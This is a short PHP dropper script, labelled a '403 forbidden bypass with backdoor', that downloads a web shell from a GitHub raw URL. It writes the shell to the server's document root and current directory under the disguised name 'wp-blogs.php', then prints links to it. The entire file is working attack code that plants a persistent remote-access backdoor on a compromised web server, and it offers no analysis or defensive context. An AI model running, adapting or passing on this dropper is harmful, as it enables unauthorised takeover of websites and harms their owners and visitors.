/*
403 FORBIDDEN BYPASS
WITH BACKDOOR HOME
*/
$source = "https://raw.githubusercontent.com/KelelawarCyberTeam/Shell-Bypass-403/main/terbaru/403.php";
$name = "wp-blogs.php";

function _doEvil($name, $file) {
$filename = $name;
$getFile = file_get_contents($file);
$rootPath = $_SERVER['DOCUMENT_ROOT'].DIRECTORY_SEPARATOR;
$toRootFopen = fopen("$rootPath/$filename",'w');
$toRootExec = fwrite($toRootFopen, $getFile);
$rootShellUrl = $_SERVER['HTTPS'] ? "https" : "http" . "://$_SERVER[HTTP_HOST]"."/$filename";
$realPath = getcwd().DIRECTORY_SEPARATOR;
$toRealFopen = fopen("$realPath/$filename",'w');
$toRealExec = fwrite($toRealFopen, $getFile);
$realShellUrl = $_SERVER['HTTPS'] ? "https" : "http" . "://$_SERVER[HTTP_HOST]".dirname($_SERVER[REQUEST_URI])."/$filename";
echo "
";
if($toRootExec) {
if(file_exists($rootPath."$filename")) {
echo "

<font color=\"#00FF00\">[OK!] <a href=\"$rootShellUrl\" target=\"_blank\">$rootShellUrl</a></font>

";
}
else {
echo "

<font color=\"red\">$rootPath$filename
Doesn't exist!</font>Try with another method!

";
}
}
else {
if($toRealExec) {
if(file_exists($realPath."$filename")) {
echo "

<font color=\"#00FF00\">[OK!] <a href=\"$realShellUrl\" target=\"_blank\">$realShellUrl</a></font>

";
}
else {
echo "

<font color=\"red\">FAILED!</font>

";
}
}
}
echo "
";
}
_doEvil($name, $source);